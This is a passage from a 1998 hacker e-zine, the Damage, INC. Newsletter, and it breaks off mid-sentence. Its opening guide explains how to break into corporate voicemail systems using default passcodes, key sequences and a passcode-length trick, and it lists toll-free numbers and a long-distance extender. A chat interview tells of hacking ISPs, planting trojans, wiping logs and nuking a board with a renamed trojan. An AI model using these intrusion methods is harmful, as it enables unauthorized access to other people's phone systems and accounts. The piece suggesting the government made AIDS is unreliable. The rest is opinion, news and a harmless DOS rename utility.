wish". After 3 +invalid entries it will cut you off. To login, enter the box number, and +during the greeting press 0 then the passcode. The default passcode for all +CINDY systems is 0. :) From the main menu once logged in, press 6 to scan for +other boxes without being disconnected like you would if you weren't logged in. +You can create guest accounts for someone. They would login just like you, +except they would enter their passcode. You can leave them messages this way. + +Message Center systems - These are another popular VMB system. To login, enter +a box. During the greeting, hit * to log in. It will then ask for your +passcode. Enter it. These VMBs have tricky password methods. They will stop +you 1 digit more than the real passcode length. If you enter "12345" and it +tells you that you're wrong, that means the code is only 4 digits long. If you +enter an incorrect passcode the first time, no matter what you put in, it will +say that it's wrong. From the main menu while logged in, type 6 to scan for +other boxes without being disconnected. + +Q Voice Mail systems - These are not a very commonly used VMB system. You'll +know that it's a Q VMB if it says "Welcome to Q Voice Mail paging." The box +numbers are normally 5 digits, and you hit 0 during the greeting to login. +From the main menu while logged in, enter 3 to scan for other boxes without +being disconnected. You will be promptly disconnected if you aren't logged in +and try scanning for other boxes. + +MERIDIAN Mail - With this VMB you'll probably hear the default greeting message +of "MERIDIAN Mail. Please enter your mail box number followed by # sign." If +you wait for a few seconds it'll say "For more information press *." After +you've entered a valid box number it'll ask "Password?" and then "Please enter +your password followed by # sign." after a few seconds of inactivity. + +(Since I have not personally used all of the above types of VMB systems, the +source for some of the information used was from an iTS text file - Internal +Theft Syndicate. However, I did modify it and added my own comments. So, iTS +deserves some credit for their good release. The entire MERIDIAN Mail section +wasn't in the iTS text file etc.) + +HEED THIS WARNING: Don't try to hack other phreak's VMB systems. If you fuck +up trying to hack someone's box, then there's a great chance the admin that runs +the VMB will be alerted by them. Not only will you be caught, but everyone else +will lose the box that they've been using. The default box passcodes will also +be changed, the security will be strengthened and the company that owns the VMB +will be paranoid from then on. So, be wise and avoid doing that shit. Stick +with Virgin Systems if at all possible and don't do anything stupid. If you +require information on a specific VMB system, then I recommend that you read h/p +text files that contain the information on hacking VMBs and explain the system, +it's features etc. in greater detail. I know that there are many text files and +zines available on AJFA that would be helpful to you. There are other sources +for that type of information as well that you might want to search. + +List of some 1-800 VMBs for you to check out: + +1-800-284-6245 - VMB (Meridian Mail) +1-800-543-7108 - John Hancock Customer Service (hit *7 to access the VMB) +1-800-669-1800 - Burger King's Voice Mail System. + +Free Extender (as a bonus) for our (519) readers: + +654-9000,,,*,,,,,XXX-XXXX Ability Telecom. + +In closing, I hope that you've enjoyed reading this article and learned the +basics of VMBs. The extender above was provided by BLACKENED. We're not going +to start including huge lists of codes or anything though. If you want to find +1-800s etc. then you are responsible for scanning/hacking them yourself. We're +not going to provide codes with passcodes for you. :) Experiment and try to +learn as much as possible on your own. Don't just use the codes that we give +you as examples. That'd be very lame. It'd also mean that you're too fucking +lazy to scan and find anything. Don't limit yourself to just using codes that +are written in text files. Afterall, that's the opposite of what phreaking is +all about. That would defeat the purpose of writing articles such as this. You +basically have to take the initiative, become active and dedicated to learning. +I'll assure you that text files (even ones that were written recently) do not +contain information on everything related to phreaking. In fact, there are +always going to be new systems, new technology etc. Pioneers that are curious +and willing to explore, find codes, find and learn new systems are always in +demand. The sense of accomplishment that you get from making a discovery can +be amazing. I suggest you make it your personal goal to become a true phreak. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +Fatal Vision's interrogation of Highlord: + +Fatal Vision sent me this interrogation of Highlord, and I felt that it should +be published and shared with the readers of the Damage, INC. Newsletter... ;) +The bottom portion that contains Highlord's definitions for various things is +hilarious. Enjoy. + + + = Fatal Vision + = Highlord + +--------------------------------------------------- +Recorded with user: The Highlord +Chat reason: OK you wanted me to page you? +--------------------------------------------------- + + - Yeah, I am here man.. ;) So what's up? + + - well nuthin much i was just reading some text files thats it though. + + - Really? What were the text files about? + + - hacking unix + + - Yeah.. That's cool man ;) You wanna chat about h/p for a bit? I am +really new to h/p and you could probably teach me a little bit.. + + - really...hmmm...thats interestin i thought you knew way more than me.. + + - Nah.. I don't know much.. I'll ask you some questions.. Do you know +what a PBX stands for? Do you have any PBX Numbers? Do you use a PBX? + + - well actually i used to but i forgot what it means but i have it in a text +file...i dont have any pbx numbers yet i dont think but i am workin on a +number i am getting from a friend and if i had a number i would definitely +use a pbx. + + - Okay.. What about ANI? Diverters? Extenders? + + - well hmmm....i dunno what an ANI is :( diverters i think are numbers you +call to call another place like and extender.... + + - Hmm.. Okay.. Uhmm. Oh Do you have a Win95 Internet account man? I saw +your posts on FoI about that... Do you have any Win95 accounts? (you don't have +to give me the username/passcode). Do you know what a beige box is? Have you +gone boxing? + + - ok well i dont have a win95 account i used to but it got busted due to my +carelessnes but i have learned more in the mean time like log editing. i have +unix ones and thats about it cause thats what i mainly use. i think i know +what a biege box does but im not sure i dont really follow the box +things...and no i have not been boxing but i want to. + + - Yeah.. Okay.. Are you and Taskmaster gonna go Boxing together? Are you +on any Long Distance (LD) Boards? What boards in 519 do you call? + + - well hmm....i dont think me and him will box together i think thats more +of an individual thing...i am on one LD board but i think its down but it was +only a company board with utils... i call scorched :(, suicide solution +occasionaly but only for full ver stuff....FoI, druids keep :(, 5th dim :( +coolguys freezer, outlaw rave, brain damage, and thats about it...oh yeah and +this one if you let me stay on. + + - Hehe ;).. You call quite a few boards in this area.. What do you think +of Coolguy's Freezer? I haven't called their in ages.. What do you think about +FoI? Are you on And Justice For All? I really want access there.. He said +he might give it to me.. + + - yeah well he said hed lemme know when they are accepting new users. Well i +think coolguys freezer kinda sucks...i only get some files there and thats +about it...i like FoI alot cause its the only good board im on and i have +learned alot from it. + + - Yeah.. What happened to Jacknife BBS? With that 11 year old SysOp? Did +you hack him or something? What do you think about Blackened? The Journalist? + + - well jacknife....i think he forgot to pay ma bell ;) well i hacked him but +i was his co sysyop hehehe yeah and i got his user files and stuff but i didnt +crash it....i think Blackened is a good hacker with a big ego but i respect +him and he helps me when i ask him about stuff...The Journalist has been very +helpful to me and we have chatted many times///but recently he has been a +little annoying cause he thinks im a security prob. + + - Hehehe.. Yeah.. So you hacked Jacknife then? Why do you think Blackened +has an ego though? That's what some people have been saying... But I really +can't understand why.. Do you know what having an "ego" means? + + - hehe well with jacknife i was his co so it wasnt really a hack....but i +think Blackened has an ego just by the way he talks to ya when you post to +him....like when i said i was working on GT he said really so what are you +doing are you worried about security? how long have you been doing this? +etc.... i dunno why people say im a security prob but im not gonna argue....i +know what an ego is...........anyway shit my mom says i should go :( ill talk +abit more but then i gotta go....will you be around tmorow at 5? + + - Yeah.. Well I think you should consider some of the stuff Blackened says. +In My Opinion he is trying to help ya.. 5:00pm? Near supper? Yeah I should +be around.. The things you stated about why you think Blackened has an Ego +doesn't really match the description "ego".. So that's why I asked.. Have +you applied to Damage, INC.? Do you know how to list files in unix? I forget +how.. + + - ok well i do listen to Blackened i dont mean that having an ego is bad its +just what i feel when i talk to him.... ill call tmorow at 430 or 500 to talk +to ya...wellli havent applied to damage inc cause im runnin my own group well +im startin to...i have a few members but....so far nuthin has happened and we +need a headquarters......to list files in unix type "ls" + + - Okay.. Yeah.. so are you the "prez" What's the group called? Who's the +members? + + - ok well i am the head of the group.....but its called The Shadows.....the +members are well...me, taskmaster, /zero, and thats it for now. + + - Alright man.. I'll let ya go.. Yeah Just page me tomorrow or something.. +at about 4:30-5:00 then.. + + - ok i will...if your not in or somethin just call me voice.... + + - Alright man.. ttyl + +------------------------------------ +Recorded with user: The Highlord +Chat reason: to continue q/a. +------------------------------------ + + - Yeah.. I am around man ;) + + - yeah i figured you would be./...for some reason my 14.4 wont pick up +ansi...i think its screwed...so are you gonna put up the other board? + + - I just got a new system.. So I still have to put Eternity on from +backups..;) My old computer basically fried.. Anyways, So you want some more +q/a's eh ;) + + - whatever you want...i dont really care.... + + - Alright.. Hmm.. What do you think anarchy stands for? What do you +think about our Government? + + - ok hold on a sec my cat wants out :) ok well anarchy hmmm you mean like +what does the A the N stand for that kinda thing or overall? overall i think it +means basically having fun the way you want and our shitty government decids +that it is wrong but it borders on the legal/illegal border not that i care +about doing things the "Legal" way....our government i despise i think they +are a bunch of morons who dont know anythin and are screwin up our country +and us.....like Bell ;) anyway i really dont like our government and i am +always trying to find out new stuff they try to get themselves involved in... + + - Hehe.. ;) Hmm.. Okay.. Do you know what Cracker Jack is? Who is this +hacker that you know that's LD? + + - hahahaha you heard about that eh? well cracker jack is a pword cracker you +can get different versions but i have the unix one...this hacker well he Had +a website and i hacked it and fucked him over because we got in an +arguement...he moved and learned everything he could about hpvac and quickly +got better then me...but he uses diferent aliases....a source of mine told me +he wanted to take me out and i found out who he was for real and i threatened +to tell the cops about him so he took off + + - Why would you call the cops on him? As for Cracker Jack is there a +Win95 one? ;) You hacked his Webpage? + + - well it was an empty threat but i know he is afraid of the cops so i +figured may as well scare him a little ;) for win95 there is a prog called +Claymore that does that....i dont know of a crcker jack one.....and i just +hacked the isp well i knew the pwords.....and i took him down and screwed his +system with a few trojans...... + + - Oh.. Hmm let's chat a bit about your "h/p" group.. What does it take +to be a member? Do you have any releases? What do you focus on? Why was it +created? etc? + + - well im gonna tell you stuff but i dont want you posting on FoI about my +little lameass group ok? + + - Why are you calling your own group lame? + + - im not i read your interesting post about my group called the "prezzes" or +somethin like that. + + - Huh? That was about a different group.. I didn't even know you had a +group until last night.. + + - oh ok well nevermind then....anyway i dont want you posting on FoI about +it though ok? i know TJ and Blackened will make fun of me or annoy me... + + - Hahaha... Okay.. I won't post it on FoI. ;) + + - ok thanx ;) anyway ok i created it cause well to be honest everyone knows +519 is dead....i want to bring another h/p group into the scene and try to get +more people into it. We have had no releases yet but that was because we had +our headquarters on scorched earth and stallion was in on it and then screwed +everyone for talking about hacking and shit....so we kinda got lost...but im +trying to bring it back....our main focus is to bring useful info about hpvac +to the 519 community and to create awareness of Bell Microsoft and our +Corrupt government....To become a member you must show some sort of +dedication and intelligence and promise not to talk to non-members about our +actions and the your in if i allow you to be.... thats about it...we also +have a vote to see if you get in or not. + + - Stallion *screwed* everyone for talking about hacking? Hahah.. That's +hilarious man.. So you don't plan on realizing your shit to Freedom Of +Information then? Why only upload it to Scorched Earth? Especially since +it's not a h/p board.. + + - OK well i do plan on releasing it to FoI but only + +=> User disconnected + +------------------------------------ +Recorded with user: The Highlord +Chat reason: ...... +------------------------------------ + + - ok that was call waiting but its disabled now.....anyway i do plan on +releasing the stuff to FoI but first i would like people to give me an +opinion on it. I will not u/l it to scorched because well...stallion is a +fuckin moron......and he runs a warez board......thats about it.... + + - I thought Stallion is going to have your files online? You call that +board though right? You still call warez boards? + + - well to tell ya the truth i call it only to piss of people :) they dont +like me cause i dont like warez...so screw em :) anyway no stallion has no +files of mine on his board...he is trying to setup an h/p file area but me and +tweakie are the only people who use it hehehe and i do call some warez boards +but only if i want a full ver thing and they have it..i dont go getting new +warez to double click and calim to hack....besides i dont use microsoft +products at all. + + - Really? How did you find that little lame "trick" in Win95 then? Hehe.. +I read about that on FoI.. + + - i figured people would read it thats why i posted it...well i used to use +MS products b4 i got into hpvac and then i realsized how much MS sucks and vowed +never to use their products at all :) +i found the trick when i had windoze.... + + - Oh.. I see.. I read somewhere that you can program viruses? Is that +true? Hex is a *hard* language man.. Fuck.. Hahah + + - well i dont program in hex i merely edit the file so it has a viral +effect...im tryin to learn about programmin viruses but so far i cant do +anything good...i just try to take a source code and change it around...i +have text files that help me do that... + + - What Language do you use? Hex? + + - well i use hex to edit things but im using c and uhh... ...basic +:( + + - Hahah.. That's hilarious ;) Who do you think is the *biggest* lamer in +this area? + + - well hmmm..... to me well i hate Floyd the Jackass but id hafta say +Spike Jr. + + - Oh.. Yeah.. Someone Said Spike Jr hacked that Jacknife board eh.. + + - hahaha spike couldnt hack anything...he wasnt even on there......well he +got pissed off at me for hacking his board...still hasnt changed his pword +HAHAHAHA!!!!! + + - Yeah he was on Jacknife man ;) And It doesn't take much to nuke a board +in this area.. Just rename a quality trojan, and upload it to a board.. ;) It +doesn't take much for someone to get the SysOp to run it either... Ah well, +that board was lame anyways.. I saw your posts there and had to laugh ;) + + - hahaha yeah i only posted cause he told me too....but i was his co sysop +and i felt i may as well try to make it a little less lame...but the fucker +forgot to payoff bell.....so he dont got a line this month..... + + - How do you know? + + - hmmm....well he called me on voice and told me...... + + - Really? Your not lying to me? He's 11 years old.. How could *he* pay +for the line? His parents would probably pay for it and I don't think they +would forget.. + + - no he was paying for it...he has a little shitty paper route and his +parents dont even want him running a board so they dont help him.....i think the +beel bill got lost in the mail thats what he said..... + + - If he seriously told you that, I'd have to say "bull-shit" ;) He probably +just can't admit that he got hacked.. + + - i guess hes lying but i dont really care hes a lamer with a lame board and +i just changed some stuff for somethin to do...... but....oh well. + + - Hahaha! Do you know what Social Engineering is? + + - no fuckin idea. + + - Oh.. Heheh.. Did you ever figure out about what PBX stands for? + + - nope had no time and dont really care but ill look l8er....... + + - Hehehe.. You don't really care what it stands for?? Hahaha.. How can you +use one if you don't even know what it's called ;) Just one more question for +ya. How are you avoiding being caught while hacking ISPs? + + - ok well i meant i dont care that i didnt have any time...sorry worded it +wrong....but i am editing all the logs and i hack em from other peoples +houses... but i just change their logs and always use *67 even if it dont +work too good. + + - Who's houses do you hack them from? Taskmaster? Hehe.. As for *67.. Haha +that's hilarious man.. Do you think that does anything? + + - well bell invented it and i read enough text files to know it doesnt do +anything but its in my dialout thingy so i dont care.....but no ive never +been to taskmasters house...i call from friends houses who dont know what +bbses or the internet are hehehee. + + - Hahaha.. I just wanted to know what "Elite h/p" is? + + - well your talkin about 2 different things.....elite is like well warez and +shit like that like emulators and shit and h/p is hacking/phreaking well you +probably knew that ;) + + - Hahah.. Yeah. I probably know a little more then you think ;).. How come +when you left me e-mail before with your real information you said you would +upload all your "Elite hp" if I gave you access? Do you know what +h/p/a/c/v/t stands for? + + - yes did i post that? hmmm must have been smokin somethin ;) i dunno why +i did though..oh well just a mistake....hacking/phreaking/anarchy/viruses/ +trojans/carding + + - Yeah you did post that.. Anyways dood, I've gotta get going.. Don't +give this number to anyone.. I noticed you already have though.. + + - huh? to who? i did to /zero but he just wanted to make sure that number +was for here....... + + - Oh.. Alright.. I'll let ya go though.. I've got some work to do now ;) + + - ok yeah whatever...you want to continue this discussion l8er? + + - Sure.. + + - ok when time/date/year ;) + + - How about 1:00am/Feb.19/2001 ;) + + - yeah ok sure you gonna be around? ;) + + - Of course.. Alright.. I'll pull you to chat then.. Later + + +whats your handle : +.:[ The Highlord +how is the h/p scene in 519 : +.:[ Not too good + [ +what are you trying to hack or do right now : +.:[ Golden Triangle and the KPL + [ + [ +what are your interests : +.:[ HPVAC, Computers + [ + +try to define and give significance for these terms; + +pbx, extenders, diverters, trojans, viruses, alt.2600, +assembly, ToneLoc, Damage, INC., Renegade, UNIX, Shell, +internet, mIRC, ISPs, Mailbombers, FTP's, F-PROT, +lamers, Ansi, Data Bits, Datapac, ansi bombs, NUKEAB, +and last but not least zines. + [you will be given alot of lines for this] + +.:[ pbx= a thing you can hack to get free long distance, + [ extenders=a number you can dial from + [ + [ trojans=things that do things somewhat like viruses + [ viruses=similar to trojans + [ alt.2600=an hp newsgroup on the net mainly warez now + [ + [ toneloc=a wardialer/hacking util + [ damage, inc.=Blackened's hp group maek a release monthly + [ renegade=bbs software, very poular and easier to hack + [ unix=a good os that is text only created by at&t + [ mirc=a chat thing on the net. im not a net user.... + [ isp's=internet service providers + [ ftp's=file transfer protocols + [ f-prot=an antivirus prog + [ lamers=users who are incompetent and use warez + [ ansi=graphics on a bbs + [ nukeab=the damage, inc. file to nuke drives a: and b: + [ + [ + +enter your favourite bbs : +.:[ +favorite type of music : +.:[ Alternative/Metal +anything else that isn't in here, put it here: [3 lines] +.:[ + [ + [ + + +LETTERS TO THE EDITOR - {LETTERS} + +The message below was written by Thc Phreak and sent to me on AJFA. Since +it's feedback, I decided to include a copy so that everyone can read it. + + +Msg # : 161 of 161 Area : Damage, INC. Releases +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +From : Thc Phreak Date : Thu Feb 05 1998 +To : Blackened Time : 10:43 pm +Title : Re:Damage, INC. Newsletter + >> This is a reply to message # 160 +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +°±² Blackened complained to All about hating Win95! ²±° + +>The Damage, INC. Newsletter January issue #5 has been released. Download +>DAMAGE-5.ZIP if you want to read a copy. After you've read through it, +>leave us feedback. ;) + +I just finished reading DAMAGE.005... and want to give you some feedback +man. I've read all of the issues of the Damage, INC. Newsletter now and +think the January issue is the best that you've released. Your quote is +accurate. They are addictive. I really enjoyed the Introduction and the +drug metaphor that you used. That really linked it to the quote "Addictive +but not lethal." + +The Big Brother Bashing article you wrote really opened my eyes and made +me think seriously about smart cards and microchips... and how they can be +used against us. + +The article on data recovery techniques contains some very good info. I +am looking forward to reading your tip of the month for February. + +The Conspiracies and Coverups article relating to the thought police, h/p +and the laws should be read by anyone that hacks and phreaks. Shatazar +must've spent some time researching Bill C-17 and the criminal code... and +deserves credit for informing us. + +The Corruption and Greed article that Blackie Lawless wrote on Saddam Hussein +was very interesting and well written. + +The h/p information that Blackie Lawless wrote should be read by newbies. +Even though I phreak and know about PBXs, I still learned something. I +hope he writes more h/p articles in the future. :) + +The interrogation of Bill Gates that Damage, INC. did was simply hilarious! +Hahahaha. I read through it several times and enjoyed it immensely. It +was really creative too. + +Shatazar's Objective Opinions article on Robert Latimer was well written. +It made me think about the federal government and question why they don't +act. + +The Reports from the Front article on the New World Order was humorous, +sarcastic, and satyrical. I suggest you include more articles like that. + +I looked through the Fade to Black source code in the Source and Scripts +section... and managed to learn a few things about assembly. :) + +The "Visions in Fire" essay was well written, and had a powerful message. +As always, your Closing Comments put the finishing touches on the issue. +Overall, I think Damage, INC. did an excellent job. I hope to contribute +soon. + +- THC Phreak +------------------------------------------------------------------------------- + +Editor - Thanks for the feedback man. ;) We'll take your suggestions into + consideration. If we can find more articles like the New World Order + one, then we'll definitely include them. I'm glad you learned a few + things about assembly, PBXs etc. from the last issue. As for the + laws on h/p, I hope that information proves to be helpful. You can + also be assured that Damage, INC. will continue to inform the readers + of the Damage, INC. Newsletter. I personally look forward to you + contributing. I am very open to new ideas and welcome any different + opinions and perspectives that you might have. ;) + + +OBJECTIVE OPINIONS - {OPINIONS} +Calling the kettle black. + +The United States of America is currently fascinated by a real life soap opera. +Beloved President Bill Clinton is embroiled in a sex scandal, which supposedly +threatens his presidency. Bill Clinton is accused of using his position as +President, and previously as Governor of Arkansas, to cultivate sexual relations +with women. After Paula Jones filed suit against Clinton, women like Monica +Lewinsky and Kathleen Willey have come out of the woodwork. + +Aren't there more important issues that Americans should concentrate on? Most +definitely. And yet the Clinton sex scandal, and the coverup that followed has +dominated the attention of politicians, the media, and most of the zombies in +America's citizenry. Personally, I feel this whole ordeal is sheer lunacy. +However, this whole sex scandal really epitomizes what is at the core of +"western society." + +One obvious fact regarding this "issue" is the fact that it's a power play. +The Republicans are using this scandal to attack Clinton so they can weaken the +Democrats before the upcoming presidential election. It is no coincidence that +prosecutor Kenneth Starr has connections to the Republican Party. The +Republicans can see that Clinton is vulnerable, and they are going in for the +kill. Using their allies in the religious right, they are attacking Clinton on +what they consider to be high moral ground. + +I wasn't stunned when Linda Tripp came out of the blue with her audio tapes. +Linda Tripp befriended Lewinsky, got her to open up about her dealings with +Clinton, and then recorded them without Lewinsky's knowledge. Tripp took +advantage of the fact that in the state of Virginia (where their office was) +it's legal for one party of a conversation to record it without other person's +knowledge. Linda Tripp, like the Republicans, is an opportunist taking +advantage of Clinton's sexual escapades. No doubt she will sell her audio tapes +for a king's ransom. + +Don't forget another group of opportunists that have been feeding off of +Clinton... the mass media. The media are totally out of control. At one point, +I saw Monica Lewinsky portrayed as a naive 21-year-old intern with low +self-esteem, influenced and seduced by a horny president. Another media source +has described Lewinsky as a slut that took her intern position so she could have +the dubious honour of blowing the President of the United States. It is obvious +to me that the media will do anything to give this scandal, which has been +beaten to death, a different slant so they can sell their story. + +Meanwhile, the media is stalking Lewinsky. When she went to visit her father in +California, she had a taste of what Princess Diana dealt with. Ironically, a +member of the press chased Lewinsky's car down a California highway. This +paparazzi reporter actually hit her car from behind! Fortunately for Lewinsky, +she didn't lose her life like Diana did. I'm sure the photographer was pleased +with himself though. After all, for a small fine, he created a photo +opportunity and a story. And yet the media is extremely quick to judge +Clinton's sexual affairs. I've even heard media members say "the President +of the Unites States is the moral leader of this country." Yeah right. +I've also heard the media report "in the United States, there is a division +between church and state" during the vigil prior to Carla Faye Tucker's +execution. Which one is it? The media always tries to have it both ways. + +At first I shook my head at Clinton for having affairs with young interns that +were trying to build careers. Clinton is not unlike most politicians that abuse +the power of their position. What really sickened me is that Clinton is being +attacked because he was "morally in the wrong." Clinton's critics are ones to +call the kettle black. The Republicans have had many scandals when they held +power. Does the Iran-Contra scandal bring back memories of their lack of +morality? And how about the mass media? They have no right to judge anyone on +moral grounds. If you don't agree with me, reread BLACKENED's article about the +mass media in the November 1997 issue of the Damage, INC. Newsletter. They are +as immoral as any corrupt politician. + +I'm not going to let Clinton and his buddy Al Gore off the hook either. +Remember all of the "family values" speeches that Clinton and Gore spout so +feverously? Haha... It appears that Clinton's values include trading +professional favours for sex. Do you see the message that these people with +power send out to people that want to be influenced? Do as I say, not as I do. +The definition of hypocrisy. And hypocrisy definitely isn't moral, although it +is acceptable in "society." I do not say this tongue-in-cheek. President Bill +Clinton's popularity has never been higher than it is right now. + +All I have discussed, in my opinion, is at the heart of not only Clinton's sex +scandal, but it is the very core of "society." Political and economic power +plays, betrayal of friendship, overzealousness, unaccountability, greed, lust, +and hypocrisy are only a few words that can be used to describe what skills are +necessary in order to enjoy the "American Dream" as it exits right now. The +next time you hear someone criticizing someone else on moral grounds, be sure to +think of the source of the words first. Especially if that person is part of +the government or the mass media. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} + +After reading Damage INC.'s fifth issue this morning, I came across an article +in the Toronto Sun which ties in quite nicely with the Big Brother Bashing. + +Big Brother's watching, hearing told: + +Ottawa dished out $31 million in the early 1980s for a state-of-the-art +computer software program to keep track of Canadians, a secret refugee hearing +was told. The U.S.-made Promis system interfaced with any data base and +provided information on a person's credit cards, banking, pension, tax, +criminal and immigration records, transcripts obtained by the Toronto Sun +showed. + +The program could spit out details of a person's health care and even library +transactions. + +"If you ever had a driver's licence you would be on the program," Ari Ben +Menashe, once an adviser to former Israeli prime minister Yitzhak Shamir, +told a secret Immigration and Refugee Board hearing last June. + +"No data base existed then that could interface with other data bases," he +said. + +"This software can by used on any Canadian in any jurisdiction," Richard +Kurland, lawyer for U.S. refugee claimant, Alexander Henri Legault, said. +"It can be used by the government to play big brother." + +Updated versions of the software are reportedly still being used by the RCMP +and the Canadian Security Intelligence Service. CSIS and RCMP officials +could not be reached for comment. + +The board is expected to rule any day on the fate Legault, 49, who says he'll +be persecuted by the CIA for blowing the whistle on a Montreal brainwashing +experiment, code named MK-Ultra, in the 1950s and 1960s. + +The experiments headed by the late Dr. Ewen Cameron and funded by the CIA, +subjected unwitting patients to hallucinogenic drugs, weeks of forced sleep +and massive doses of shock therapy. + +The hearing was also told the CIA used contaminated mosquitos to spread +dengue fever to parts of the Caribbean and Cuba, and conducted drug tests on +abducted derelicts and prostitutes snatched off the streets of San Francisco. +Most of them died. + +Disposal CIA units called "Team B" were then called to get rid of the corpses +the hearing was told. + + +This article was published in the Monday February 2, 1998 issue of the +Toronto Sun. + +My thoughts on this article? If the CIA can do things like what I've +mentioned above, then what makes us think that the government didn't +collaborate on making the AIDS virus and spreading that around to control +the population? + +In my opinion, Big Brother has WAY too much control in not only our country, +but the whole world. They can track our every move and dictate what we +can and cannot do. It's asinine, and it's time we did something about it. + + +Another thing I noticed when I received my phone bill this month, $30.00 for +local service and a line which has absolutely nothing on it. I use this line +for my computer only and it also has a toll restriction so I can't make long +distance calls (I put this feature on myself) + +Because Bell has a monopoly in the field on local calls, they must feel that +they can raise rates. But I feel that paying $30.00/month for ONE phone line +with absolutely no special features on it is absolutely ridiculous. Ma Bell +needs a competitor in the local rates area and fast. + +Written by Valencia. + + +SOURCE AND SCRIPTS - {SOURCE} + + +------------------------------------------------------------------------------- +;Rename Directory v1.00 by Damage, INC. (C)opyright 1997. +;RENDIR renames files/directories (including directories that contain files +;and subdirectories). There is commandline help but limited error handling. +;TASM /M RENDIR.ASM then TLINK /T RENDIR.OBJ + +data1 equ 80h ;128 byte data buffer + + +code segment byte public + assume cs:code, ds:code + + org 100h ;Start of all COM files. + +rendir proc far ;RENDIR Procedure. + +start: + mov si,data1 + lodsb ;String [si] to al + or al,al ;al zero? + jz help ;Jump if zero to help + call first ;Call first subroutine + mov dx,si ;Move si into dx (path/filename) + dec dx ;Decrement dx register by 1 + call second ;Call second subroutine + cmp al,0Dh ;Check for CR/Enter. + je help ;Jump if equal to help + mov byte ptr [si-1],0 ;Move byte into si + call first ;Call first subroutine + mov di,si ;Move si into di (path/filename) + dec di ;Decrement di register by 1 + call second ;Call second subroutine + mov byte ptr [si-1],0 ;Move byte into si + mov ah,56h ;Rename file/subdirectory. + int 21h ;Interrupt 21h function 56h + +exit: mov ah,9 + mov dx,offset rename ;Display rename message + int 21h + mov ah,4Ch ;Exit to DOS + int 21h + +help: + mov ah,9 + mov dx,offset damage ;Display help message + int 21h ;Int 21h function 09h + mov ah,4Ch + int 21h ;Exit to DOS + +rendir endp ;End procedure + +first proc near ;First procedure +check1: + lodsb ;String [si] to al + cmp al,0Dh ;Check for carriage return. + je help ;Jump if equal to help + cmp al,20h ;Check for a ' ' space. + je check1 ;Jump if equal + retn ;Return +first endp ;End procedure + +second proc near ;Second procedure +check2: + lodsb ;String [si] to al + cmp al,0Dh ;Check for carriage return. + je return ;Jump if equal + cmp al,20h ;Compare al to ' ' + jne check2 ;Jump if not equal + +return: + retn ;Return +second endp ;End procedure + +damage db 'Rename Directory v1.00 - By Damage, INC. (C)opyright ' + db '1997',13,10 + db 'RENDIR ',13,10 + db '$' + +rename db 'RENDIR v1.00 - By Damage, INC. (C)opyright 1997',13,10 + db ' Finished renaming directory.',13,10,'$' + +code ends + end start + +------------------------------------------------------------------------------- + + +THE JOURNALIST'S TOP TEN LIST - {TOP TEN} +"New movements within the industry" + + 1. MICROSOFT vs DEPARTMENT OF JUSTICE + Microsoft's battle with the Department of Justice has so far resulted + in a decision by judges to force Microsoft to sell Win98 packages + that do not include their integrated browser "Internet Explorer 4.0." + Eleven other states however, have joined together to get to the + bottom of Microsoft's perhaps illegal business practices. Microsoft + Corporate offices in Japan were raided by officials, being forced + to hand over legal documents, records, etc. to help understand to + what degree Microsoft has violated anti-monopoly laws. + + 2. MERGER MANIA IN ISP-LAND + Many factors influence the Internet providing industry, the main one + being profit; and in the interest of profit, many large corporations + are in the process buying out most medium sized ISPs to gain control + over the market, and stabilize prices (and realize higher profit). + Researchers estimate the computer industry will be controlled by a + handful of "Mega-Corporations" around the globe in the near future. + + 3. NAVIGATING A DIFFERENT PATH + Netscape Communications Corp. has announced the public release of + the source code for its popular browser "Netscape Navigator." The + statement came as a shock to the industry, since Netscape declared + losses for the fourth quarter of 1997. Netscape officials say + the company will now focus more upon server-specific applications. + + 4. CRYPTIC ENOUGH? + Cryptologists and the government seem to be like oil and water these + days. At a conference this month, government officials, and + Cryptologist experts gathered to discuss the issue of electronic + security. Experts say they have been able to crack 40-bit DES + encryption within 40 seconds, and 56-bit within 2 weeks. Big Brother + is not allowing a 128-bit encryption method yet, and also requires + that all cryptology algorithms submit a skeleton key so that FBI + and other agencies can decrypt data to "catch criminals." The + matter has yet to be resolved. + + 5. NEW DOMAIN NAMES ARRIVING + The expanding number of people and organizations on the net has + created an enormous demand for more TLDs (top level domains). + Existing ones, such as; .org, .com, .net, are not adequately enough + providing the number of unique, relevant domain names that people + want. Seven new TLD's will be available this year; .FIRM for + businesses, .SHOP for companies offering goods for sale, .WEB for + organizations stressing web activity, .ARTS for cultural groups, + .REC for entertainment, .INFO for informational services, and .NOM + for personal web sites. To be honest, I'm surprised they didn't add + .XXX for the over abundance of porn sites on the net! + + 6. VIRUS WAR MUTATES + With the ever increasing population of the internet, virus writers + have been given a delightful 'test bed' for their malicious code. + But the process of virus writing has changed a lot since its + assembly language days. Macro viruses are the hype these days, + with an estimated 2000, up from 40 (2 years ago), and the ease at + which they can be created is mind boggling. Any user with MS Office + installed can embed virus code in a macro, and distribute it via + e-mail to thousands of victims. Experts claim the problem could be + totally eliminated if 30% of the world's computers were equipped with + up-to-date anti-virus software. + + 7. TERRA-SCALE COMPUTING + Since IBM's Deep Blue beat Gary Kasparov in a close chess tournament + last year, the US Department of Energy, IBM, and three other + companies are working on a computer 100 times stronger than any + available today; the target date is 2001. The computer will be + used to predict earthquakes, replace current scientific computing + methods, aid in drug design, CAD, and more. + On the same note, Digital Equipment Corp broke the 1Ghz barrier + this month, with their new 21264 Alpha chip. + + 8. CORPORATE DOWNSIZING HITS AST + AST Canada has been hit hard by global competitive markets, and + the need for efficient use of resources. The company, which declared + losses for the most part of 1997 has downsized its Canadian offices + to one main office in Mississauga, leaving 20 people to do the work + of 200. Is AST on the way out? Only time will tell. + + 9. Y2K ISSUES + Despite the hype surrounding the "millennium bug," studies reveal + that this issue is not being followed up on. At this time it is + estimated that 50% of corporations are 